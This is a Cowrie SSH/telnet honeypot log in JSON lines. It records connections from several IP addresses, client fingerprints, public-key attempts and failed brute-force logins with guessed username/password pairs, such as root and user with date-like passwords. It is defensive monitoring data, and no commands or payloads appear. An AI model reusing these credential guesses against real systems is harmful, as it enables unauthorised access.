{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:28.985281Z","src_ip":"43.135.129.144","session":"9c825638e676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:29.056602Z","src_ip":"43.135.129.144","session":"9c825638e676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc5972853f2","protocol":"telnet","message":"New connection: 192.119.13.58:52338 (10.17.0.5:23) [session: 7cc5972853f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:29.318763Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Harley","message":"login attempt [root/Harley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:29.366535Z","src_ip":"43.135.129.144","session":"9c825638e676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55174,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b3fb010e0b","protocol":"telnet","message":"New connection: 192.119.13.58:55174 (10.17.0.5:23) [session: 39b3fb010e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:30.047388Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:30.438544Z","src_ip":"43.135.129.144","session":"9c825638e676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54600,"dst_ip":"10.17.0.5","dst_port":23,"session":"2392ee70487a","protocol":"telnet","message":"New connection: 192.119.13.58:54600 (10.17.0.5:23) [session: 2392ee70487a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:30.932573Z"}
{"eventid":"cowrie.session.closed","duration":43.27294158935547,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:36.508301Z","src_ip":"192.119.13.58","session":"a2b30a6ac021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.09662961959839,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:36.780034Z","src_ip":"192.119.13.58","session":"4a316e4329b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":49132,"dst_ip":"10.17.0.5","dst_port":22,"session":"e563da69257a","protocol":"ssh","message":"New connection: 43.153.104.156:49132 (10.17.0.5:22) [session: e563da69257a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:38.602618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:38.607356Z","src_ip":"43.153.104.156","session":"e563da69257a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:38.675231Z","src_ip":"43.153.104.156","session":"e563da69257a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34674,"dst_ip":"10.17.0.5","dst_port":23,"session":"28973bf6ee7a","protocol":"telnet","message":"New connection: 192.119.13.58:34674 (10.17.0.5:23) [session: 28973bf6ee7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:38.792572Z"}
{"eventid":"cowrie.login.failed","username":"wwwroot","password":"wwwroot@123","message":"login attempt [wwwroot/wwwroot@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:38.977156Z","src_ip":"43.153.104.156","session":"e563da69257a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.048349Z","src_ip":"43.153.104.156","session":"e563da69257a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.181.223.233","src_port":41984,"dst_ip":"10.17.0.5","dst_port":22,"session":"3845d0d54c69","protocol":"ssh","message":"New connection: 47.181.223.233:41984 (10.17.0.5:22) [session: 3845d0d54c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.416059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.420510Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.494866Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.03669571876526,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.501944Z","src_ip":"192.119.13.58","session":"c268bb8d1d1a","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:fb:36:0e:5d:90:a2:b9:dd:4f:bc:4e:16:24:99:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDeS+pFyK1ppwSu8SDwbgkD6yuVp+3mgOCfAx7TTTRB3/do6J5EcrgU0HBUp2uyumOU+3EVlbuwzuXOZZIEMhsq2rAHaiQs29U8+hbya4puup+9k+eoYpcm/IWCxxvdAmcy+WLiv2T/sFTXt4c7CW3BKhCTk6UR4wJeZ6OAHTXu9bQbuE26wE98bDsS1pHJpybG2cUkvthMC061rIP6p9VABNS79zZWy2Exzqc+19FxxKmr1fuRiYZ4eJmjcsPAajQD33PG3Oki+IofNOsjvnR5+aBxqJxkldZLVM+FB5f98EcMWPfxILvQspC2xmd93ByV37GIrphasOT/+/S7a/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:fb:36:0e:5d:90:a2:b9:dd:4f:bc:4e:16:24:99:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.838874Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:fb:36:0e:5d:90:a2:b9:dd:4f:bc:4e:16:24:99:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDeS+pFyK1ppwSu8SDwbgkD6yuVp+3mgOCfAx7TTTRB3/do6J5EcrgU0HBUp2uyumOU+3EVlbuwzuXOZZIEMhsq2rAHaiQs29U8+hbya4puup+9k+eoYpcm/IWCxxvdAmcy+WLiv2T/sFTXt4c7CW3BKhCTk6UR4wJeZ6OAHTXu9bQbuE26wE98bDsS1pHJpybG2cUkvthMC061rIP6p9VABNS79zZWy2Exzqc+19FxxKmr1fuRiYZ4eJmjcsPAajQD33PG3Oki+IofNOsjvnR5+aBxqJxkldZLVM+FB5f98EcMWPfxILvQspC2xmd93ByV37GIrphasOT/+/S7a/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.843539Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:77:58:48:36:54:fc:da:bc:49:a5:65:ef:ce:68:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRdweUATczLnUe0U/5i8yLyZLpepwIfV4YAb1IfsjiqfLNPJnP3PJwekjv0NKafQ0/fOwcBbPYL9+y2aq6T9PYr40vb83/rhxije2teRbvpvRqyOPwK12V2XvXL+1GVeGYRqBNFmAzXJjkEfPYnvziGEafZkhrdI53aaM/JIHsRnWIU8UwEce65pFFxxkK4mTEOLUBcUnK4Lx4YZ9tA64h1zbGJLVdCnKu9SYZueo5elhRnA+u8d2i2+PoKoR78aQpNMY2/lOnSgNaKuEcMcIhS3/SlEDq+VLKyec0iKLZksVrW/KLNcWc8a2fkeJU7VDobsjXZGHlOe9Am/NzQRHX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:77:58:48:36:54:fc:da:bc:49:a5:65:ef:ce:68:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.918712Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:77:58:48:36:54:fc:da:bc:49:a5:65:ef:ce:68:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRdweUATczLnUe0U/5i8yLyZLpepwIfV4YAb1IfsjiqfLNPJnP3PJwekjv0NKafQ0/fOwcBbPYL9+y2aq6T9PYr40vb83/rhxije2teRbvpvRqyOPwK12V2XvXL+1GVeGYRqBNFmAzXJjkEfPYnvziGEafZkhrdI53aaM/JIHsRnWIU8UwEce65pFFxxkK4mTEOLUBcUnK4Lx4YZ9tA64h1zbGJLVdCnKu9SYZueo5elhRnA+u8d2i2+PoKoR78aQpNMY2/lOnSgNaKuEcMcIhS3/SlEDq+VLKyec0iKLZksVrW/KLNcWc8a2fkeJU7VDobsjXZGHlOe9Am/NzQRHX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.923087Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:f8:58:d3:0e:01:14:15:af:95:cd:4e:01:ed:5f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXJ2IvpXMP5b8SnKUiVq9jOmWHelJlzUFBQIWVyNlczJJot9nkx2yFY2GH8YgQf4o+acQ9vhGsfOMEljD0lzrznhgBtJC3juRJBChqb8zyqB5/UDJjVOCf7eL4I5w0GSPbY3yJs3CJav/fla/0wx7MmkUGr05lzmN4tyuqQTx7WZ1Rkd2g8chI+lY3rDozkMA8fcd1NDXHFH7i82hgrgS3kLPbPiJTYTm5H4orm8G4kZCISUWh2upV/uP2jWJWCRCH2hmEzDgPi65l5Z520oPHa4Q6eUZxO/FqWd9112994L68nenhBsatKeJWk6dGmokDf80TcZmPU1sktGgWyUD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:f8:58:d3:0e:01:14:15:af:95:cd:4e:01:ed:5f:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:40.998751Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:f8:58:d3:0e:01:14:15:af:95:cd:4e:01:ed:5f:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhXJ2IvpXMP5b8SnKUiVq9jOmWHelJlzUFBQIWVyNlczJJot9nkx2yFY2GH8YgQf4o+acQ9vhGsfOMEljD0lzrznhgBtJC3juRJBChqb8zyqB5/UDJjVOCf7eL4I5w0GSPbY3yJs3CJav/fla/0wx7MmkUGr05lzmN4tyuqQTx7WZ1Rkd2g8chI+lY3rDozkMA8fcd1NDXHFH7i82hgrgS3kLPbPiJTYTm5H4orm8G4kZCISUWh2upV/uP2jWJWCRCH2hmEzDgPi65l5Z520oPHa4Q6eUZxO/FqWd9112994L68nenhBsatKeJWk6dGmokDf80TcZmPU1sktGgWyUD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.003325Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:d7:4a:97:9a:80:fe:e8:96:f4:47:fe:e1:e3:7c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn1I+VL1t+758KWn4l2JGIARDeQtMnbg+e+BkZk8tcitjPSKD0RWu7gFqOKL/KPR2apeu+35b6/vAVyVYcZoElNRQG7+EMQzYPFzl2kjHvmcj7Dwtt4AN99Ds9fOe0VNjdsgNM9dxzNm1Fdslx5CxqMhk6sFY694b06Rka6I38Jg2+z09DtAJBL3YUaOALUM+nZU0v5RYVypnu4+rnhkw2IjIMxQw96sy1c9g1t1xO2qDp5dv6e2zbmLtCFO7xluyl6geOjUTOK2XWkXYOLtr0WmwF5D4p66aR/ZnNHSUFAqO9KwK6KhUGgESG89byGINDBC1JnuLHfQOozqo8VeEX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:d7:4a:97:9a:80:fe:e8:96:f4:47:fe:e1:e3:7c:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.078681Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:d7:4a:97:9a:80:fe:e8:96:f4:47:fe:e1:e3:7c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn1I+VL1t+758KWn4l2JGIARDeQtMnbg+e+BkZk8tcitjPSKD0RWu7gFqOKL/KPR2apeu+35b6/vAVyVYcZoElNRQG7+EMQzYPFzl2kjHvmcj7Dwtt4AN99Ds9fOe0VNjdsgNM9dxzNm1Fdslx5CxqMhk6sFY694b06Rka6I38Jg2+z09DtAJBL3YUaOALUM+nZU0v5RYVypnu4+rnhkw2IjIMxQw96sy1c9g1t1xO2qDp5dv6e2zbmLtCFO7xluyl6geOjUTOK2XWkXYOLtr0WmwF5D4p66aR/ZnNHSUFAqO9KwK6KhUGgESG89byGINDBC1JnuLHfQOozqo8VeEX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.082886Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:d4:af:f7:fc:46:a7:e2:96:0d:d5:8e:d1:34:f1:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0WaO1vbMkI7qdSOjXhXZg/BZdKvhA0fAU7hfBDG4vTnUrgLm3XdD87CzB+UhureMaGjQqXj1Pv3x35qjLLxo/Aa+xC5jlPt4Irr/hirRvy1B+fcWYVFPyT/v+pmdSLQTPQPbO+iQ2q/TxPjf6zUTShkwYAOmb12vKHtvLqRawBNcKAPfew5vitmOKcRJ34wTjajrWLlYEzsBiLP5HdKJ19Sc482Me2YgSLDuJgGg1V0tfb0X0Av/Pv7pzDoIDd3/cKylcfGWlUGHkps9B++hHEVHYThi0UE9CTDJb3aG46qEHMcwhaepU0r2UkeFlhyJ0+5zZDntUF5obOKMSPqQh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:d4:af:f7:fc:46:a7:e2:96:0d:d5:8e:d1:34:f1:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.158978Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:d4:af:f7:fc:46:a7:e2:96:0d:d5:8e:d1:34:f1:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0WaO1vbMkI7qdSOjXhXZg/BZdKvhA0fAU7hfBDG4vTnUrgLm3XdD87CzB+UhureMaGjQqXj1Pv3x35qjLLxo/Aa+xC5jlPt4Irr/hirRvy1B+fcWYVFPyT/v+pmdSLQTPQPbO+iQ2q/TxPjf6zUTShkwYAOmb12vKHtvLqRawBNcKAPfew5vitmOKcRJ34wTjajrWLlYEzsBiLP5HdKJ19Sc482Me2YgSLDuJgGg1V0tfb0X0Av/Pv7pzDoIDd3/cKylcfGWlUGHkps9B++hHEVHYThi0UE9CTDJb3aG46qEHMcwhaepU0r2UkeFlhyJ0+5zZDntUF5obOKMSPqQh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.163581Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.237688Z","src_ip":"47.181.223.233","session":"3845d0d54c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12622,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d1b3a9dc73","protocol":"ssh","message":"New connection: 2.57.121.25:12622 (159.203.135.109:22) [session: d2d1b3a9dc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.987646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:41.993723Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:42.093499Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051975","message":"login attempt [user/12051975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:42.566371Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12041992","message":"login attempt [user/12041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:43.669110Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120385","message":"login attempt [user/120385] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:44.772636Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59302,"dst_ip":"10.17.0.5","dst_port":23,"session":"add21598faf6","protocol":"telnet","message":"New connection: 192.119.13.58:59302 (10.17.0.5:23) [session: add21598faf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:45.183806Z"}
{"eventid":"cowrie.session.closed","duration":38.82206320762634,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:45.842415Z","src_ip":"192.119.13.58","session":"3a4a824aaa52","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031977","message":"login attempt [user/12031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:45.877270Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031974","message":"login attempt [user/12031974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:46.980657Z","src_ip":"2.57.121.25","session":"d2d1b3a9dc73","protocol":"ssh"}
